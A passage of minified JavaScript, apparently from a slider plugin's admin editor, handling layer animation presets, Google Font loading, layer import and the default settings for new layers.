i="customin"==e[t].params.type?"in":"out",a=RVS.LIB.LAYERANIMS[i].custom.transitions,r="in"===i?"frame_0":"frame_999",s={name:e[t].handle};s[r]={transform:{},timeline:{}},"in"===i?s.frame_1={timeline:{speed:e[t].params.speed,ease:e[t].params.easing}}:s.frame_999.timeline={speed:e[t].params.speed,ease:e[t].params.easing},"true"!=e[t].params.mask&&1!=e[t].params.mask||(s[r].mask={use:!0,x:e[t].params.mask_x,y:e[t].params.mask_y},"in"===i&&(s.frame_1.mask={use:!0,x:0,y:0}));var o=s[r].transform,n={use:!0,delay:e[t].params.splitdelay};switch(e[t].params.split){case"lines":case"line":s[r].lines=n,o=s[r].lines,"in"===i&&(s.frame_1.lines=n);break;case"words":case"word":s[r].words=n,o=s[r].words,"in"===i&&(s.frame_1.words=n);break;case"chars":case"char":s[r].chars=n,o=s[r].chars,"in"===i&&(s.frame_1.chars=n)}for(var l in void 0!==e[t].params.captionopacity&&(o.opacity=e[t].params.captionopacity),e[t].params)if(e[t].params.hasOwnProperty(l)){var d=e[t].params[l];if("inherit"!==d&&"0"!==d&&0!==d&&"0px"!==d)switch(l){case"movex":o.x=d;break;case"movey":o.y=d;break;case"movez":o.z=d;break;case"rotationx":o.rotationX=d;break;case"rotationy":o.rotationY=d;break;case"rotationz":o.rotationZ=d;break;case"skewx":o.skewX=d;break;case"skewy":o.skewY=d}}a[e[t].id]=s}},RVS.F.objChangeCompare=function(e,t,i){if(i=null==i?{s:0,a:0}:i,"object"==typeof e)for(var a in e)e.hasOwnProperty(a)&&"timeline"!=a&&("object"==typeof e[a]&&void 0!==t[a]&&"object"==typeof t[a]?i=RVS.F.objChangeCompare(e[a],t[a],i):(i.a++,""+e[a]==""+t[a]&&i.s++));return i},RVS.F.compareLayerAnimPresets=function(e){var t,i,a,r,s,o;for(var n in e)if(e.hasOwnProperty(n)&&null!=e[n].timeline)for(var l in t=void 0,e[n].timeline.frames)if(("frame_1"===l||"frame_999"===l||"frame_loop"===l)&&null!=e[n].timeline.frames[l].timeline.preset&&null!=e[n].timeline.frames[l].timeline.presetgroup&&(o="frame_1"==l?"in":"frame_999"==l?"out":"loop",null!=(o=null==(o=null!=RVS.LIB.LAYERANIMS[o][e[n].timeline.frames[l].timeline.presetgroup]?RVS.LIB.LAYERANIMS[o][e[n].timeline.frames[l].timeline.presetgroup]:void 0)?null!=RVS.LIB.LAYERANIMS.in[e[n].timeline.frames[l].timeline.presetgroup]?RVS.LIB.LAYERANIMS.in[e[n].timeline.frames[l].timeline.presetgroup]:void 0!==RVS.LIB.LAYERANIMS.out[e[n].timeline.frames[l].timeline.presetgroup]?RVS.LIB.LAYERANIMS.out[e[n].timeline.frames[l].timeline.presetgroup]:RVS.LIB.LAYERANIMS.loop[e[n].timeline.frames[l].timeline.presetgroup]:o)&&null!=o.transitions&&null!=o.transitions[e[n].timeline.frames[l].timeline.preset])){var d=o.transitions[e[n].timeline.frames[l].timeline.preset];null==t&&(i=RVS.F.addLayerObj(d.type,void 0,!0).timeline.frames,(t=RVS.F.simplifyLayer(e[n]).timeline.frames).frame_0=v(jQuery.extend(!0,h({alias:RVS_LANG.enterstage,opacity:0},"frame_0"),t.frame_0)),t.frame_1=v(jQuery.extend(!0,h({opacity:1,effect:"none",chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0}},"frame_1"),t.frame_1)),t.frame_999=v(jQuery.extend(!0,h({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:0},"frame_999"),t.frame_999)),t.loop=jQuery.extend(!0,g(),t.loop)),i=jQuery.extend(!0,i,d),"frame_1"==l?(i.frame_0=v(jQuery.extend(!0,h({alias:RVS_LANG.enterstage,opacity:0},"frame_0"),i.frame_0)),i.frame_1=v(jQuery.extend(!0,h({opacity:1,effect:"none",chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0}},"frame_1"),i.frame_1)),a=RVS.F.objChangeCompare(t.frame_0,i.frame_0),r=RVS.F.objChangeCompare(t.frame_1,i.frame_1),s=(a.s/a.a+r.s/r.a)/2):"frame_999"==l?(i.frame_999=v(jQuery.extend(!0,h({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:0},"frame_999"),i.frame_999)),s=(a=RVS.F.objChangeCompare(t.frame_999,i.frame_999)).s/a.a):"frame_loop"==l&&(i.loop=jQuery.extend(!0,g(),i.loop),s=(a=RVS.F.objChangeCompare(t.frame_loop,i.frame_loop)).s/a.a),e[n].timeline.frames[l].timeline.presetBased=Math.round(100*s)}},RVS.F.updateFrameOptionsVisual=function(){for(var e in RVS.V.frameLevels.levels)if(RVS.V.frameLevels.levels.hasOwnProperty(e)){var t=RVS.V.frameLevels.levels[e];RVS.V.frameLevels[t]=void 0===RVS.V.frameLevels[t]?jQuery("#"+t+"_ts_wrapbrtn"):RVS.V.frameLevels[t],"color"===t&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].bgcolor&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].color&&(!1!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].bgcolor.use||!1!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].color.use)||"sfx"===t&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]&&""!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].sfx.effect&&"none"!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].sfx.effect||"mask"===t&&RVS.L[RVS.selLayers[0]].timeline.clipPath.use||"color"!==t&&"sfx"!==t&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame][t]&&RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame][t].use?RVS.V.frameLevels[t][0].className="ts_wrapbrtn":RVS.V.frameLevels[t][0].className="ts_wrapbrtn notinuse"}for(var e in RVS.JHOOKS.updateFrameOptionsVisual)RVS.JHOOKS.updateFrameOptionsVisual.hasOwnProperty(e)&&RVS.JHOOKS.updateFrameOptionsVisual[e]()},RVS.F.extendLayerAnimationLists=function(e){var t=e.direction,i=e.handle;if(RVS.LIB.LAYERANIMS[t][i]=jQuery.extend(!0,{},e.preset),void 0!==RVS.LIB.LAYERANIMS.translists){var a='<div class="latransgroup"><div class="latransgroup_head"><span class="latransgroup_name">'+RVS.LIB.LAYERANIMS[t][i].group+'</span><div class="animation_drop_arrow"><i class="material-icons">arrow_drop_down</i></div></div><div class="lainner_transitions">',r="";for(var s in RVS.LIB.LAYERANIMS[t][i].transitions)RVS.LIB.LAYERANIMS[t][i].transitions.hasOwnProperty(s)&&(r+='<div data-lindex="'+t+'" data-gindex="'+i+'" data-tindex="'+s+'" class="layer_trans_liste dark_btn">'+RVS.LIB.LAYERANIMS[t][i].transitions[s].name+"</div>");jQuery("#lal_"+t+"_"+i).length>0?jQuery("#lal_"+t+"_"+i).find(".lainner_transitions")[0].innerHTML=jQuery("#lal_"+t+"_"+i).find(".lainner_transitions")[0].innerHTML+r:(a+=r,a+="</div></div>","in"===t?RVS.LIB.LAYERANIMS.translists[0].append(a):"out"===t&&RVS.LIB.LAYERANIMS.translists[999].append(a))}},RVS.F.checkUsedFonts=function(e){RVS.F.checkAvailableFontWeights(e);var t={},i=[];for(var a in RVS.L)if(RVS.L.hasOwnProperty(a)){var r=RVS.L[a];if(("text"===r.type||"button"===r.type)&&void 0!==r.idle&&void 0!==r.idle.fontFamily){var s=r.idle.fontFamily.replace(/\ /g,"_"),o=[];for(var l in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(l)){var d=r.idle.fontWeight[RVS.V.sizes[l]].v;d=r.idle.fontStyle?d+"italic":d,-1!==jQuery.inArray(d,o)||void 0!==n[s]&&-1!==jQuery.inArray(d,n[s].weights)||void 0!==t[s]&&-1!==jQuery.inArray(d,t[s].weights)||o.push(d)}o.length>0&&(void 0===t[s]?t[s]={family:s,font:r.idle.fontFamily,weights:o,italic:r.idle.fontStyle}:t[s]={family:s,font:r.idle.fontFamily,weights:RVS.F.mergeArrays(o,t[s].weights),italic:!0===t[s]||r.idle.fontStyle})}}for(var a in t)if(t.hasOwnProperty(a)){var S=RVS.F.loadSingleFont(t[a]);void 0!==S&&i.push(S)}RVS.F.do_google_font_load(i,{silent:!0})},RVS.F.preloadUsedFonts=function(){var e={},t=[];for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&("text"===RVS.L[i].type||"button"===RVS.L[i].type)&&void 0!==RVS.L[i].idle&&void 0!==RVS.L[i].idle.fontFamily){var a=RVS.L[i].idle.fontFamily.replace(/\ /g,"_");for(var r in e[a]=void 0===e[a]?{family:a,weights:[],italic:!1}:e[a],e[a].font=RVS.L[i].idle.fontFamily,e[a].italic=!0===e[a].italic||RVS.L[i].idle.fontStyle,RVS.V.sizes)RVS.V.sizes.hasOwnProperty(r)&&-1===e[a].weights.toString().indexOf(RVS.L[i].idle.fontWeight[RVS.V.sizes[r]].v)&&e[a].weights.push(RVS.L[i].idle.fontWeight[RVS.V.sizes[r]].v)}for(var i in e)if(e.hasOwnProperty(i)){var s=RVS.F.loadSingleFont(e[i]);void 0!==s&&t.push(s)}RVS.F.do_google_font_load(t)},RVS.F.loadSingleFont=function(e){var t=function(e){var t=!1;for(var i in RVS.LIB.FONTS)if(RVS.LIB.FONTS[i].label==e){"googlefont"==RVS.LIB.FONTS[i].type&&(t=RVS.LIB.FONTS[i]);break}return t}(e.font);if(t&&(e.weights=void 0===e.weights?[]:e.weights,e.subsets=void 0===e.subsets?[]:e.subsets,e.font=e.font.replace(/\ /g,"+"),void 0===n[e.family]||!RVS.F.matchArray(e.weights,n[e.family].weights))){n[e.family]=void 0===n[e.family]?{weights:e.weights,subsets:e.subsets}:n[e.family],n[e.family].weights=RVS.F.mergeArrays(e.weights,n[e.family].weights);var i="",a="";if(n[e.family].weights=function(e,t){var i=[];for(var a in e)e.hasOwnProperty(a)&&jQuery.inArray(e[a],t)>=0&&i.push(e[a]);return i}(n[e.family].weights,t.variants),0===n[e.family].weights.length)for(var r in t.variants)t.variants.hasOwnProperty(r)&&(r>0?a+=",":a=":",a+=t.variants[r],n[e.family].weights.push(t.variants[r]));else for(var s in n[e.family].weights)n[e.family].weights.hasOwnProperty(s)&&(s>0?a+=",":a=":",a+=n[e.family].weights[s],e.italic&&-1==a.indexOf("italic")&&-1==jQuery.inArray(n[e.family].weights[s]+"italic",n[e.family].weights)&&(a+=","+n[e.family].weights[s]+"italic"));if(void 0!==t.subsets)for(var r in t.subsets)t.subsets.hasOwnProperty(r)&&(r>0?i+=",":i=":",i+=t.subsets[r],e.subsets.push(t.subsets[r]));return e.font+a+i}},RVS.F.do_google_font_load=function(e,t,i){if(t=void 0===t?{silent:!1}:t,null!==e&&e.length>0){var a=0;for(var r in e)e.hasOwnProperty(r)&&(r>0&&" ",e[r],a++);a=1===a?a+" Font":a+" Fonts",tpWebFont.load({google:{families:e},fontactive:m,loading:function(){!0!==t.silent&&RVS.F.showWaitAMinute({fadeIn:500,text:"Please Wait<br><span style='display:block;font-size:30px;line-height:35px'>Loading "+a+"</span>"})},active:function(){!0!==t.silent&&setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500}),void 0!==i&&setTimeout(function(){RVS.DOC.trigger(i)},500)},50)},inactive:function(e){!0!==t.silent&&setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500}),void 0!==i&&setTimeout(function(){RVS.DOC.trigger(i)},500)},50)}})}},RVS.F.checkLayersRelativeAbsolute=function(e){for(var t in e)e.hasOwnProperty(t)&&null==e[t].position.position&&"row"!==e[t].type&&(e[t].position.position=-1==e[t].group.puid||"-1"==e[t].group.puid?"absolute":void 0!==e[e[t].group.puid]&&"column"===e[e[t].group.puid].type?"relative":"absolute");return e},RVS.F.importSelectedLayers=function(e){e=void 0===e?RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers:e;var t=!1;void 0!==window.copyPasteLayers&&void 0!==window.copyPasteLayers.layers&&(t=!0,window.backupCopyPaste=jQuery.extend(!0,{},window.copyPasteLayers.layers)),window.copyPasteLayers={amount:0,layers:{}};for(let t in RVS.LIB.OBJ.import.toImport)RVS.LIB.OBJ.import.toImport.hasOwnProperty(t)&&(window.copyPasteLayers.layers[e[RVS.LIB.OBJ.import.toImport[t]].uid]=jQuery.extend(!0,RVS.F.addLayerObj(e[RVS.LIB.OBJ.import.toImport[t]].type,void 0,!0),e[RVS.LIB.OBJ.import.toImport[t]]));for(var i in"grouplayers"===RVS.LIB.OBJ.depth&&(delete window.copyPasteLayers.layers.bottom,delete window.copyPasteLayers.layers.middle,delete window.copyPasteLayers.layers.top),window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(i))for(var a in window.copyPasteLayers.layers[i].actions.action)window.copyPasteLayers.layers[i].actions.action.hasOwnProperty(a)&&void 0!==window.copyPasteLayers.layers[i].actions.action[a]&&window.copyPasteLayers.layers[i].actions.action[a].layer_target&&(window.copyPasteLayers.layers[i].actions.action[a].beforemigration_layer_target=window.copyPasteLayers.layers[i].actions.action[a].layer_target);var r,s=[],o=[],n=[],l={},d=[];for(var S in window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(S)){var c=window.copyPasteLayers.layers[S].uid;s.push({type:window.copyPasteLayers.layers[c].type,copyPaste:"paste",duplicateId:c,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0,prefix:RVS_LANG.imported}),o.push(c),"column"===window.copyPasteLayers.layers[c].type&&(r="row"===window.copyPasteLayers.layers[c].type?c:window.copyPasteLayers.layers[c].group.puid,-1===jQuery.inArray(r,d)&&d.push(r))}for(var i in RVS.F.openBackupGroup({id:"addLayer",txt:"Duplicate Layer(s)",icon:"layers",lastkey:"layer"}),s)if(s.hasOwnProperty(i)){var p=window.copyPasteLayers.layers[o[i]].group.puid;if(-1===p||-1==jQuery.inArray(parseInt(p,0),o)){let e=RVS.F.addLayer(s[i]);l[o[i]]=e,n.push(e)}}for(var i in d)d.hasOwnProperty(i)&&void 0!==RVS.L[d[i]]&&RVS.F.fixColumnsInRows({layerid:d[i]});for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&RVS.L[i].actions)for(var a in RVS.L[i].actions.action)RVS.L[i].actions.action.hasOwnProperty(a)&&void 0!==RVS.L[i].actions.action[a]&&RVS.L[i].actions.action[a].beforemigration_layer_target&&(RVS.L[i].actions.action[a].layer_target=l[RVS.L[i].actions.action[a].beforemigration_layer_target],delete RVS.L[i].actions.action[a].beforemigration_layer_target);for(var i in RVS.F.closeBackupGroup({id:"addLayer"}),RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),RVS.F.updateZIndexTable(),RVS.F.reOrderHTMLLayers(),n)n.hasOwnProperty(i)&&RVS.F.selectLayers({id:n[i],overwrite:!1,action:"add",ignoreUpdate:!0});RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.F.checkShowHideLayers(),RVS.F.checkLockedLayers(),t&&(window.copyPasteLayers.layers=jQuery.extend({},window.backupCopyPaste)),setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),"layers"===RVS.LIB.OBJ.depth&&(jQuery("#rb_modal_underlay").appendTo("#slider_settings"),RVS.F.RSDialog.close()),RVS.F.closeObjectLibrary(),RVS.F.checkUsedFonts()},RVS.F.getUniqueid=function(){for(;jQuery.inArray(RVS.S.uniqueId,RVS.S.uniqueIds)>=0;)RVS.S.uniqueId++;return RVS.S.uniqueId},RVS.F.addLayerObj=function(e,t,i,a,r){if(void 0===RVS.ENV.img_ph_url&&(RVS.ENV.video_ph_url=RVS.ENV.img_ph_url=RVS.ENV.plugin_url+"admin/assets/images/transparent_placeholder.png"),"object"==typeof e&&(e=(t=e).type),void 0!==t&&void 0!==t.uid&&jQuery.inArray(t.uid,["top","bottom","middle","zone"])>=0)return t;if(jQuery.inArray(e,["top","bottom","middle","zone"])>=0)return t;if("boxshadow"!==(t=void 0===t?{}:t).type&&"textshadow"!==t.type){var s={};switch(s.addOns=t.addOns||{},s.type=f(t.type,e),s.subtype=f(t.subtype,""),s.subsubtype=f(t.subsubtype,""),s.linebreak=f(t.linebreak,!1),s.text="text"!==e&&"button"!==e||"forms"===t.subtype?"":f(t.text,"New Layer"),s.placeholder="text"===e||"button"===e?f(t.placeholder,""):"",s.alias=RVS.F.firstCharUppercase(f(t.alias,"New Layer")),!0===r||i||(s.uid=f(t.uid,RVS.F.getUniqueid())),s.version=RVS.ENV.revision,s.htmltag=f(t.htmltag,"div"),s.customCSS=f(t.customCSS,""),s.customHoverCSS=f(t.customHoverCSS,""),s.layerLibSrc=f(t.layerLibSrc,""),s.type){case"text":case"button":case"image":s.media=f(t.media,{imageUrl:RVS.ENV.img_ph_url,imageId:"",imageFromStream:!1}),s.media.loaded=!1;break;case"audio":case"video":s.media=f(t.media,{mediaType:"audio"===s.type?"audio":i?"":"html5",audioUrl:"",audioTitle:"",posterUrl:RVS.ENV.video_ph_url,posterId:"",fitCover:!0,posterFromStream:!1,thumbs:{veryBig:{width:640,height:480,url:RVS.ENV.video_ph_url},big:{width:640,height:480,url:RVS.ENV.video_ph_url},large:{width:640,height:360,url:RVS.ENV.video_ph_url},medium:{width:320,height:240,url:RVS.ENV.video_ph_url},small:{width:200,height:150,url:RVS.ENV.video_ph_url}},nointeraction:!1,descSmall:"",description:"",link:"",mp4Url:"",ogvUrl:"",webmUrl:"",allowFullscreen:!0,args:"",author:"",autoPlay:"true",controls:!1,cover:!1,disableOnMobile:!1,dotted:"none",dottedSize:1,dottedColorA:"transparent",dottedColorB:"#000000",startAt:"00:00",endAt:"00:00",forceRewind:!0,fullWidth:!1,id:"",videoFromStream:!1,largeControls:!0,leaveOnPause:!0,mute:!0,nextSlideAtEnd:!0,preload:"auto",preloadWait:"0",ratio:"16:9",posterOnPause:!1,posterOnMobile:!1,stopAllVideo:!0,playInline:!0,hideAudio:!0,speed:1,loop:!0,pausetimer:!1,volume:"100"}),void 0!==s&&void 0!==s.media&&(s.media.dotted.indexOf("white")>0&&(s.media.dottedColorB="rgba(255,255,255,255)"),s.media.dotted.indexOf("twoxtwo")>=0?s.media.dotted="1":s.media.dotted.indexOf("threexthree")>=0&&(s.media.dotted="2")),void 0!==s.media&&"video"===s.media.type&&void 0===s.media.allowFullscreen&&!0!==i&&(s.media.allowFullscreen=!0),void 0!==s.media&&"streamyoutube"===s.media.mediaType&&(s.media.mediaType="youtube",s.media.videoFromStream=!0),void 0!==s.media&&"streamvimeo"===s.media.mediaType&&(s.media.mediaType="vimeo",s.media.videoFromStream=!0),s.media.mediaType=i||""!==s.media.mediaType&&void 0!==s.media.mediaType?i?"alwayswrite":s.media.mediaType:"html5",s.media.loop=!0===s.media.loop||void 0!==t&&void 0!==t.media&&("loopandnoslidestop"===t.media.loop||"loop"===t.media.loop||!0===t.media.loop||"true"===t.media.loop),s.media.pausetimer=void 0!==t&&void 0!==t.media&&(!0===t.media.pausetimer||!1!==t.media.pausetimer&&"loopandnoslidestop"!==t.media.loop),!0===s.media.loop&&!0===s.media.nextSlideAtEnd&&(s.media.loop=!1),i&&void 0!==s.media&&(s.media.loop=!0,s.media.pausetimer=0),i&&(s.media.loop=void 0);break;case"svg":case"object":s.svg=f(t.svg,{source:"",renderedData:""})}void 0!==s.media&&void 0!==s.media.lastLibrary&&(s.media.imageLib=s.media.lastLibrary,delete s.medialastLibrary),s.toggle=f(t.toggle,{set:!1,text:"",inverse:!1,useHover:!1});var o=!0===i||!0===a?"auto":"audio"===s.type?"54":"image"!==s.type&&"shape"!==s.type&&"video"!==s.type&&"group"!==s.type?"auto":"video"!==s.type?"300px":"320px",n=!0===i||!0===a?"auto":"audio"===s.type?"54":"image"!==s.type&&"shape"!==s.type&&"video"!==s.type&&"group"!==s.type?"auto":"180px",l=!0===i?"auto":"svg"===s.type||"image"===s.type||"video"===s.type,d=!0===i||!0===a?"auto":"image"!==s.type&&"shape"!==s.type&&"video"!==s.type&&"group"!==s.type?"none":"video"!==s.type?300/180:320/180;for(var S in s.size=f(t.size,{width:RVS.F.cToResp({default:o}),height:RVS.F.cToResp({default:n}),maxWidth:RVS.F.cToResp({default:"none"}),maxHeight:RVS.F.cToResp({default:"none"}),minWidth:RVS.F.cToResp({default:"none"}),minHeight:RVS.F.cToResp({default:"none"}),originalWidth:0,originalHeight:0,aspectRatio:RVS.F.cToResp({default:d}),covermode:"custom",scaleProportional:l}),void 0!==s.size.height.d&&null===s.size.height.d.v&&(s.size.height.d.v="auto"),"svg"===s.type&&(s.size.scaleProportional=!0),s.size.originalWidth=0===s.size.originalWidth||void 0===s.size.originalWidth?s.size.width.d.v:s.size.originalWidth,s.size.originalHeight=0===s.size.originalHeight||void 0===s.size.originalHeight?s.size.height.d.v:s.size.originalHeight,s.position=f(t.position,{x:i||a?RVS.F.cToResp({default:0,unit:"px"}):RVS.F.cToResp({default:50+RVS.S.rb_ScrollX,unit:"px"}),y:i||a?RVS.F.cToResp({default:0,unit:"px"}):RVS.F.cToResp({default:50+RVS.S.rb_ScrollY,unit:"px"}),horizontal:RVS.F.cToResp({default:"left"}),vertical:RVS.F.cToResp({default:"top"}),position:i?"":"absolute",staticZ:"default"}),void 0===s.position||i||(s.position.staticZ=void 0===s.position.staticZ?"default":s.position.staticZ),void 0!==t.position&&void 0!==t.position.zIndex?s.position.zIndex=t.position.zIndex:s.position.zIndex=function(){var e=5;for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&parseInt(RVS.L[t].position.zIndex,0)>=e&&(e=parseInt(RVS.L[t].position.zIndex,0)+1);return e}(),i&&(s.position.zIndex="nA"),s.attributes=f(t.attributes,{alt:"",altOption:"media_library",id:"",classes:"",rel:"",tabIndex:0,title:"",wrapperClasses:"",wrapperId:""}),s.behavior=f(t.behavior,{autoResponsive:"row"!==s.type&&"column"!==s.type&&(!(!i&&!a)||RVS.SLIDER.settings.def.autoResponsive),intelligentInherit:"row"!==s.type&&"column"!==s.type&&(!(!i&&!a)||RVS.SLIDER.settings.def.intelligentInherit),responsiveChilds:!(!i&&!a)||RVS.SLIDER.settings.def.responsiveChilds,baseAlign:"grid",responsiveOffset:!(!i&&!a)||RVS.SLIDER.settings.def.responsiveOffset,lazyLoad:"auto",imageSourceType:"full",streamSourceType:"full"}),s.group=f(t.group,{puid:-1,groupOrder:i?99999:s.position.zIndex,columnbreakat:"tablet",columnSize:"1/3"}),s.position.position=i?"":void 0!==s.group&&-1==s.group.puid?"absolute":s.position.position,"row"===s.type&&-1===s.group.puid&&(s.group.puid="top"),_opacity="group"!==s.type&&"column"!==s.type&&"row"!==s.type||i||a?0:1,s.timeline=f(t.timeline,{scrollBased:"default",forcePrepare:!1,scrollBasedOffset:0,filtersOnMask:!1,frameToIdle:"frame_1",frames:{frame_0:h({alias:RVS_LANG.enterstage,opacity:_opacity},"frame_0"),frame_1:h({alias:RVS_LANG.onstage,opacity:1,chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,blur:0,grayscale:0,brightness:100,fuse:!1},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,blur:0,grayscale:0,brightness:100,fuse:!1},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,blur:0,grayscale:0,brightness:100,fuse:!1}},"frame_1"),frame_999:h({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:i||a?"inherit":0},"frame_999")},clipPath:{use:!1,type:"rectangle",origin:"l"},static:{start:1,end:"last"},loop:g(),tloop:{use:!1,from:"",to:"",repeat:-1,keep:!0,children:!0}}),s.timeline.tloop=void 0===s.timeline.tloop?{use:!1,from:"",to:"",repeat:-1}:s.timeline.tloop,s.timeline.scrollBased=void 0===s.timeline.scrollBased?"default":s.timeline.scrollBased,s.timeline.scrollBasedOffset=void 0===s.timeline.scrollBasedOffset?0:s.timeline.scrollBasedOffset,s.timeline.frames.frame_0.alias=void 0===s.timeline.frames.frame_0.alias?RVS_LANG.enterstage:s.timeline.frames.frame_0.alias,s.timeline.frames.frame_1.alias=void 0===s.timeline.frames.frame_1.alias?RVS_LANG.onstage:s.timeline.frames.frame_1.alias,s.timeline.frames.frame_999.alias=void 0===s.timeline.frames.frame_999.alias?RVS_LANG.leavestage:s.timeline.frames.frame_999.alias,s.timeline.frames)s.timeline.frames.hasOwnProperty(S)&&(s.timeline.frames[S]=v(s.timeline.frames[S]),s.timeline.frames[S].timeline.start<0&&(s.timeline.frames[S].timeline.start=0),s.timeline.frames[S].timeline.startRelative<0&&(s.timeline.frames[S].timeline.startRelative=0));for(var S in s.effects=f(t.effects,{parallax:"-",pxmask:!1,attachToBg:!1,effect:"default"}),s.idle=f(t.idle,{style:"",color:RVS.F.cToResp({default:"#ffffff"}),margin:RVS.F.cToResp({default:[0,0,0,0]}),marginLock:!1,paddingLock:!1,borderWidthLock:!1,borderRadiusLock:!1,padding:RVS.F.cToResp({default:"column"===s.type?[10,10,10,10]:"row"===s.type?[10,10,10,10]:[0,0,0,0]}),autolinebreak:!0,float:RVS.F.cToResp({default:"none"}),clear:RVS.F.cToResp({default:"none"}),display:"block",fontFamily:"Roboto",fontStyle:!1,fontSize:RVS.F.cToResp({default:"20"}),fontWeight:RVS.F.cToResp({default:"400"}),letterSpacing:RVS.F.cToResp({default:"0"}),lineHeight:RVS.F.cToResp({default:"25"}),overflow:"visible",textAlign:RVS.F.cToResp({default:"left"}),verticalAlign:"top",cursor:"auto",backgroundColor:"shape"!==s.type||i||a?"transparent":"rgba(0,0,0,0.5)",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundSize:"cover",backgroundSizePerc:"100",backgroundSizePix:"100",backgroundImage:"",backgroundImageId:"",bgFromStream:!1,borderColor:"transparent",borderRadius:{v:[0,0,0,0],u:"%"},borderStyle:RVS.F.cToResp({default:"none"}),borderWidth:[0,0,0,0],rotationX:0,rotationY:0,rotationZ:0,opacity:1,textDecoration:"none",textTransform:"none",filtersIOSFix:"d",boxShadow:{inuse:!1,container:"content",hoffset:RVS.F.cToResp({default:0,val:0}),voffset:RVS.F.cToResp({default:0,val:0}),blur:RVS.F.cToResp({default:0,val:0}),spread:RVS.F.cToResp({default:0,val:0}),color:"rgba(0,0,0,0.25)"},textShadow:{inuse:!1,hoffset:RVS.F.cToResp({default:0,val:0}),voffset:RVS.F.cToResp({default:0,val:0}),blur:RVS.F.cToResp({default:0,val:0}),color:"rgba(0,0,0,0.25)"},textStroke:{inuse:!1,width:RVS.F.cToResp({default:0,val:1}),color:"rgba(0,0,0,0.25)"},filter:{blendMode:"normal",showInEditor:!0},spikeUse:!1,spikeLeft:"none",spikeLeftWidth:10,spikeRight:"none",spikeRightWidth:10,cornerLeft:"none",cornerRight:"none",selectable:"default",whiteSpace:RVS.F.cToResp({default:"row"===s.type||"column"===s.type?"normal":!0!==i&&1!=a?"full":"nowrap"}),svg:{originalColor:!1,color:RVS.F.cToResp({default:"#ffffff"}),strokeColor:"transparent",strokeDashArray:0,strokeDashOffset:0,strokeWidth:0}}),"object"!=typeof s.idle.borderStyle&&(s.idle.borderStyle=RVS.F.cToResp({default:s.idle.borderStyle})),void 0===s.idle.textStroke||"string"!=typeof s.idle.textStroke.width&&"number"!=typeof s.idle.textStroke.width||(s.idle.textStroke.width=RVS.F.cToResp({default:0,val:s.idle.textStroke.width})),s.idle.fontFamily=void 0===s.idle.fontFamily||""===s.idle.fontFamily||s.idle.fontFamily.toLowerCase()!==s.idle.fontFamily?RVS.F.compareGoogleFontName(s.idle.fontFamily,!0):RVS.F.compareGoogleFontName(s.idle.fontFamily),s.idle.fontFamily=void 0===s.idle.fontFamily?"Roboto":s.idle.fontFamily,s.idle.fontStyle="normal"!==s.idle.fontStyle&&!1!==s.idle.fontStyle,RVS.V.sizes)for(var c=0;c<4;c++)RVS.V.sizes.hasOwnProperty(S)&&(s.idle.margin[RVS.V.sizes[S]].v[c]=parseInt(s.idle.margin[RVS.V.sizes[S]].v[c],0)||0,s.idle.padding[RVS.V.sizes[S]].v[c]=parseInt(s.idle.padding[RVS.V.sizes[S]].v[c],0)||0);for(var S in 